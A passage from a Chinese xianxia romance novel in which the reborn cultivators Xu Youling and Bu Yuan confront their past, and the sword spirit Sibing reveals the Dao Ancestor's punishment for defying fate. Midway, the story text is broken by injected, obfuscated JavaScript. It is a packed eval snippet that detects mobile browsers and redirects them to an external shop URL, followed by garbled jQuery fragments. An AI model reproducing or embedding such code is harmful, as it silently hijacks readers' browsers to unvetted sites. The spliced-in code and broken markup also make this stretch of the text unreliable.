过往千百万个相处的碎片涌入脑海,一时之间,那种心如刀绞的感觉又回来了。
步渊一步一步逼近她,眼神晦暗:“过分么?”
“你用不了绳逼我结契的时候怎么不说过分?”
“你用妖族咒术控制我,想看我浪荡不堪崩溃破防,在你身下求你的样子时怎么不说过分?”
“徐有灵,我们两个,需要这样虚与委蛇的说话么?”
步渊沉沉凝望着她,眉眼自带少年剑修的孤冷霜气。他身子清瘦挺拔,面色皙白,是徐有灵最爱的小白脸相貌。
可此刻,徐有灵却无暇欣赏他的脸。
只知道自己笑得一定很不好看。
“师兄在说什么,我听不明白。”徐有灵准备脚底抹油,开始装相。
她脑子嗡嗡的,可以面对少年时的步渊,却无法面对那个曾经对她动过杀心的爱人。
“装什么?”修长冰冷的手指摩挲她的鬓边。步渊眸光深深,似是眷恋。
肌肤相触的那一瞬间,徐有灵一个激灵。本能地笑:“我实在不懂师兄在说什么。”
步渊从怀里拿出一本小册子,上面记载了东坞山大妖的名录,徐有灵前世的灵宠黑鹏就来自东坞山。
他慢条斯理地拿出名录:“你不想早日与鹏鹏见面?”鹏鹏两个字从他嘴里说出来格外缱绻,似乎在戏弄她。
徐有灵内心天人交战,最终承认:
“你怎么知道是我?”她强忍着心里那阵绞痛问。
步渊直视着她,似是怨怪,似是痴狂,低喃道:“只有你不曾认出我。”
徐有灵脑子里正辗转着无数画面,有从前唇齿相依生死不渝时的,也有后来虚情假意,恩怨相对时的。
她的一颗心像是泡进滚烫的沸水里一般,先前,她还没有想过会在这里遇见前世的步渊,毕竟,她一直以为这只是她人生的重启。所以她一直在说服自己,说服自己让自己跟少年时候的步渊和睦相处,保持基本的距离。
这个思路其实也是对的。
“步渊。”徐有灵叹口气,努力让自己表现得自然一些,“我不知道你的父母是那样死的,我如果知道的话,我肯定不会厚着脸皮往你身边凑的。骨肉血亲,这是大仇,对不起。”
她很诚恳地把自己在前世死前就想对步渊说的话说了出来。
“你要对我说的就是这个?”步渊掀起眼皮看她一眼。
徐有灵点点头,她其实也还有别的话想说,比如,她也想问他,还恨么?但涉及父母恩仇,想不想再找她报仇,是他很私人的事,这么问,也不太好。
刚刚短短的一瞬间,她已经做好了兵来将挡水来土掩的准备。
“明日要去清秋谷,你我都不是前世的巅峰时期。你如今在宗门内虽强,但灵鹫宗于你我而言只是个新手村,出了这个村子,危险重重。今晚我们都好好休息,别的,日后有机会再说。”
徐有灵想,以往步渊就总嫌她聒噪。她在他耳边讲太多也不对。今日他摊牌想来是不想再装下去,怕她像前世一样纠缠他。她把话讲得太明白倒显得自作多情,所以干脆先拜别他,以此也表明,表明自己不会纠缠他。
“我不想等日后。南海的事情是我对不起你,那时候我没有想好该怎么处理我们之间的关系。”
徐有灵脚底抹油就准备开溜,身后传来步渊低沉的声音。他的嗓音其实很好听,十分醇厚,一把好嗓子。
此刻那目光望向她时,也不是一点情意都没有的。当初灵鹫宗被魍袭击,师父师兄师姐都死于那群恶鬼之手。步渊背着她一路到仙盟求救,后来就倒在仙盟的牌匾那里了。因为深受重伤,所以有一阵子他双眼瞧不见,覆着白绫。
那段时日,徐有灵就是他的眼睛。
他也习惯了徐有灵做她的眼睛,有那么一段时日,他也是很依赖她的,半夜睡醒都要确认她在不在他身边。只是后来,他的眼睛好了,徐有灵反倒不习惯了,再加之,那时候陆丰年还是仙盟盟主,成日里想把陆长雪跟他凑一对,她不高兴于是做事情也就越来越没有分寸。开始排斥一切除她以外的人靠近他,甭管男女还是没成形的剑灵,都不行。两个人也渐渐有了矛盾。
到后来,步渊知道她父亲的事,跟她之间隔阂更深,也就走到了今天这一步。
徐有灵脊背微僵,她倒是没有想到步渊会道歉,记忆里,这个人从不道歉。但是这都不重要了。
“你不用道歉,南海的事,我也没有那么怪你。人之常情罢了。”
“你可以怪我,如果我是你,你对我做出这样的事,我这一辈子都不会原谅你。”步渊冷冷地勾了勾唇角。
徐有灵当然不会对他做出这样的事情,两个人在一起,总归是喜欢的多一点的人先低头,他能下得了这个手,不顾念多年的情分,她不能。更何况,她好像也没有什么要下手的理由。
“都过去了。”
“我们都不要太执着于从前的事情。”徐有灵叹口气,回过头很是真诚地说。
步渊看着她的眼神里却多了一丝的偏执和嘲弄:“过没过去,你说的不算。即使天道崩逝,太玄境覆灭,我们也不会分开。你当初拿不了绳逼我结契的时候,也是这么想的,不是么?”
话音落下,一道惊雷破云而下,轰然劈落在了步渊的肩头。紧接着,一道道紫电像是长了眼睛一般簌簌地落下。
徐有灵:“……”
“你没事吧。”徐有灵担忧地望着他。
“没事。”步渊被劈得身形微曲。
他浑身一颤的间隙,徐有灵很快意识到这是一个她逃跑的好时机,犹豫了片刻,脚底抹油便跑了。
她的母族是大猊一族,生来就极擅逃跑,她从山上摔下来的时候,原本伤了筋骨,此刻已经被掌门师父妙手回春给治好了,不仅如此,还让原本滞涩的灵脉变得流畅起来。徐有灵一跑,一边在纠结,留得青山在不愁没柴烧,她是先离开灵鹫宗呢,还是继续留在宗门内,找个靠山呢?
徐有灵脑子乱乱的,回到自己的小木屋时,仍在纠结,结果一睁眼,就瞧见四饼正坐在她的门口。
因为跟步渊前世当过百年道侣,所以徐有灵多多少少身上沾染了几分步渊的剑气,也就能够瞧见四饼这个剑灵。
四饼个子矮矮的,耷拉着脑袋抱着膝盖坐着,一双大眼睛扑闪扑闪的,闪烁着泪花。
“四饼,你怎么在这里?”
徐有灵有一阵子被凡间的帝王请去皇宫里捉妖,沾染了凡人爱打牌九的习性,有那么一段时日成日里喝酒作乐,日子过得很是奢靡。因为小剑灵长得圆圆的又没有名字,所以她一直叫它“四饼。”这个名字,还是她起的。
“我一点都不想你。”
“但我知道你是活着的,就想来看看你。”
四饼说着,突然抱住了徐有灵的腰,流下了一个小剑灵的眼泪。
徐有灵心下一软,难以想象,自己的生死原来也是有人在意的。当初她想到开往生阵的时候其实也没有想过自己死了还会有人难过,她是一只妖,一只被南栎驱逐出境多年的妖,到了太玄境后因为妖的身份跟这些修士多多少少还是隔了一层。风慕和风珠珠对她是真心的,可死的比她还要早。
她曾以为。
她死了,这世上不会再有人为她掉一滴眼泪,可从未想过,原来也是有人会为她难过的。
“好了,哭什么?”
“我不是活得好好的么?”
徐有灵感叹道:“我先前还真的以为魂飞魄散后就什么都没了,没想到还能重来一回。活着真好,能感受到风,感受到雨。”
草庐临近后山,后山开满野花,空气中是一阵若有若无的香气,死过一次,只空余一缕残魂在太玄境不知所以地飘荡了多年的徐有灵觉得十分幸福。
“嗯,活着是很好。灵,你以后不能这样了。虽然我也不想你,可主人还是很想你的,你都不知道,你不在那些年,他过成了什么样。如果不是仙盟需要他……”
“好了,打住。”
徐有灵立即做了一个终止,可以了,别说了的手势。原本心头泛起的感动一下子就被冲散了。
它说步渊因为她的离开而有什么变化,就瞎讲了。
他不想见到她的。
当年在南海,如果他的算计她算计成功了,那么她会提前百年早死。
一个设计想要她死的人。
难道会想不到,如果他成功了,他们会这一辈子都再也见不到面么?
徐有灵立即在心里把四饼划到了步渊的阵线上。
“我没有骗你。”四饼着急忙慌地解释。
徐有灵道:“好,我相信你没有骗我。你先让开,我在外头有些累了,先让我进去。”
四饼看她脸灰扑扑的,身上也脏兮兮的一副跟人打过架的样子,也认为她大概确实有些累,忙往旁边让了让。
徐有灵打开木门,前脚进去,后脚快速地把门栓插上了,绝情地将四饼关在了外头。
四饼大喊:“骗子,开门。”
徐有灵走到桌子前,仰头喝了两口水,对着门外道:“我不是骗子,可你有一个主人是骗子。”
“我主人骗你,我又没有骗过你。”
徐有灵道:“可你也没有告诉我。”
四饼在门外沉默一会儿,那时候仙盟里所有人都知道徐有灵不是一只跟她父亲一样品行拙劣的妖,可因为她妖的身份,纵然有人表面上关心她,私底下还是站在步渊那一边的。
一只妖不懂人世间的情爱,以为对方最终还是跟自己在一起了,便是喜欢。殊不知,喜欢不是那么简单的事情。
两心相悦,一定是看中了对方某些品质。而不是因为对方一上来就用什么咒术捆绑住自己。
四饼低声道:“我也有不对。我早该提醒你的。可主人没有真的想让你死,他在不知道同你之间的血仇时对你也是很包容的。你用不了绳羞辱他,他不高兴但也没有把你怎么样。后来你们在浮屠塔做任务,他也多次护你。刚得知他父母之死的真相时,他确实绝情了一些,但没有真的想……”
徐有灵听着四饼的独白,也不知道心头是个什么滋味。没有听它说完,叹了口气后打断了它:
“好了,我也没有因为这个怪过他。我只是……”她顿了顿,“不知道该怎么跟他相处了。”
“而且,我这一辈子真的想好好活。他若想杀我,那我们各凭本事。他若不想杀我,我们就做点头之交。谁也不打扰谁,他日后也好清清白白跟陆长雪在一起。”
徐有灵隔着一扇门,干脆利落地说。
四饼听到陆长雪的名字,心里一抽。它就知道,徐有灵当初就是介意陆长雪的,只是后来一直为了自尊没跟步渊提过。
“灵,我觉得我们有许多事情还是需要好好谈谈。尤其是你跟我主人,说开就好了。他其实也没有那么恨你,你不怪他,说明你还喜欢他。你们谈一谈,总能说开的。”
徐有灵心里感慨,这个四饼嘴上没毛,竟然会学着大人家来劝人了。
徐有灵倚靠着门框,不厌其烦:“你不明白,我们之间的事情绝不是说开就能解决的。也没有什么好说的。”
“为什么?”四饼隔着门框声音闷闷的。
徐有灵很难跟四饼去讲这些,一来,她前世把步渊当成最亲的人,曾经生死与共百年,偶然听闻步渊跟她的父亲兄弟姐妹一样,都想过要她的命,蛮震惊的。
二来,即使她还喜欢他,那他们之间的血海深仇难道就会一下子消失么?
不会的。
即使步渊他能说服他自己放下,她也说服不了自己。午夜梦回的时候,她也会等,等步渊再杀她一次,她心头的大石头才能放下。
两个人在一起,一旦那道信任的铜墙铁壁彻底没有了,只会相看两厌。所以回到前世那种关系,断断不能了,对谁都不好。
“我不恨他,他不恨我,就是我们之间最好的结局了。”徐有灵今日做的最多的事便是叹气。
四饼在那一头又沉默了一会儿。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938816|213811||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
就在徐有灵已经准备歇下的时候,她听到了今日听到的第二句炸裂的话。
“那不行。”
“那你们两个都会死。”
徐有灵这一辈子是要好好地活的,因此对这个“死”字格外敏感。
“什么?”她一下子睡意全无。
四饼也很忐忑,当初步渊违逆天道打开时光之轨的时候,它在步渊背后听见到了道祖的声音。
步渊从来不承认他是为了徐有灵才才打开时光之轨,可究竟是为了什么,四饼旁观者清,也不仅仅是四饼旁观者清,就连道祖也十分清楚。
一个开启往生阵。
一个打开时光之轨。
这两人都是逆天之举。既然逆天,那么入了时光之轨后,道祖自然不会轻易让他们改变人生的轨迹。些许小的事情错位便错位了,大的感情线和轨迹错位,那便是自寻死路。
为了给他们一点惩罚,道祖在时光之轨开启后,曾直言,步渊重塑时空可以,想要提前杀了万尸谷那群魍也可以。
但除了改变万尸谷那群魍的命运以外,倘若时空之轨有任何大的错位,便会有人死。且永生永世,不得超生。
四饼当时慢吞吞地跟在步渊的身后,听见了一切,可步渊从不理会天道,全当没听见。它好几次都想开口跟自家主人提这件事情,但在这之前,徐有灵还没有来到灵鹫宗,提了也没有用,所以一直拖到现在。今天它也想提的,但自家主人没给它机会。
所以此刻,它只好对着徐有灵娓娓道来这件事。
徐有灵原本一直在自我安慰,告诉自己,即使他是前世的他也没什么大不了的,可此刻听到四饼的说法,一下子自我攻略不了了。
“可如果我重新活了一辈子,还要走之前的老路。为什么还要重生呢?”徐有灵不能想象。
四饼道:“也不是这么说,至少道祖留了个活口,说允许你们除掉魍。围绕着魍的事情可以变,别的都不行。”
徐有灵想了想,还是打开门把四饼放进来:
“你确定你没有骗我?以你日后的春饼发誓,如若你骗我,你这辈子都吃不到香甜可口的春饼,只能吃又硬又苦的黑馒头。”
四饼从不在吃食上面撒谎,如同捣蒜似的点点头。然后从破布口袋里拿出一块传音石。它做好准备跟步渊一道来到这个时空之前因为知道要跟着步渊过一段时间的苦日子,所以法器灵丹带的十分全面,其中也包括这块传音石。
因为知道要见道祖。
四饼非常诚恳,生怕漏掉了道祖老人家什么箴言,特地用传音石记录了下来,此刻踮起脚尖,把传音石递到徐有灵的耳边,贴心地让徐有灵听一听。
徐有灵对着传音石听了半晌:“不改变我们的感情轨迹,那我们势必还是怨偶,天道究竟是什么恶趣味,这么喜欢看人做怨偶?”
四饼说:“道祖这是在惩戒你们。倘若人人都有违天道,太玄境岂不是乱了秩序。”
徐有灵脑袋嗡嗡的,心里乱乱的,突然就想起了步渊刚刚被雷劈的事情,第一反应是,道祖竟然觉得她跟步渊都不是什么守秩序的人,今日雷劈在步渊身上,改日还真有可能劈在她身上。
“今日步渊被雷劈了,你这传音石记录完整了么?”徐有灵将掌心那块温润的石头放在桌子上敲了敲,寄希望于能敲出一些别的话来。
至少让她知道什么情况下会被雷劈。
“好像是道祖不高兴的时候。”
四饼说:“我那日得见道祖,道祖正于深山打坐,与我想象不同,是个随性的老头,他也提过,他会在八卦镜中一直看着咱们,若咱们所作所为有什么让他不满的地方,他大概就会降下天雷,以示惩戒。”
徐有灵点点头,想到了步渊的那句不太尊重天道的话,也理解了为何会降下天雷。
徐有灵沉默片刻,拿着那块传音石,开始思考对策。
这此时,木门被人推开了。
步渊身形微顿,想来被那一通天雷劈的不轻,步伐都不似从前那般稳健,肩头的衣裳也都被劈烂了。几缕碎发垂在额前,眉峰锋利入鬓,一张面容俊美如玉,肤色很白。因为被雷劈了一阵,眸间仍有痛色和隐忍之色。
徐有灵将好色的目光从他身上移开。
步渊眼底尽是冷意:“怎么不跑了?”他多了几分狼狈的喘息。
徐有灵敲敲桌子:“跑不掉了,我们确实要谈谈。”
小小的木屋十分简陋,塞下了一人一妖和一个剑灵。三人围着一张小桌子坐着,开始理性商谈。
徐有灵把传音石放在桌上,为防止道祖透过八卦镜听见他们在对话商量对策,只好用纸笔。
徐有灵写:“如果不是这块石头,我是不会相信四饼说的话的。但眼下没有办法,我们只能延续前世的感情线。”说完又补一句,“但你放心,我不会影响你的生活,这件事对于你来说应该不算难事。”
步渊写:“如果你只是因为道祖所言,那不用管。”
前世她死之前,步渊修为已至大乘境,只差一步登天取代天道。再加之他向来不把人放在眼里,所以并不在意这个。
可这又确实是个好契机。
步渊看徐有灵对着“不用管”三个字在思量,似乎在想要该怎么回他,过了很久才又重新落笔:
“重生一次不容易。你放心,按照我们前世的感情线,前期也不需要你做什么,都是我单方面地在做。我不会动真感情,我只要像以前一样动动手就好,你也不要有负担。”人总要为自己的决定承担后果,若此次他们不依着道祖所言做,万一真落得个实打实的魂飞魄散,那就不值得了。
徐有灵很珍惜她的小命。
步渊抬眸之时,眉目清绝之中带着一丝讥诮,歪了个题:“我以为你不怕死。”
“那怎么可能?”
徐有灵显然没想到他会这么想,“我疯了么?”
步渊目光沉沉地看着她,这一回,他没有在纸上写,只是嗤她:“我也想知道你是不是疯了?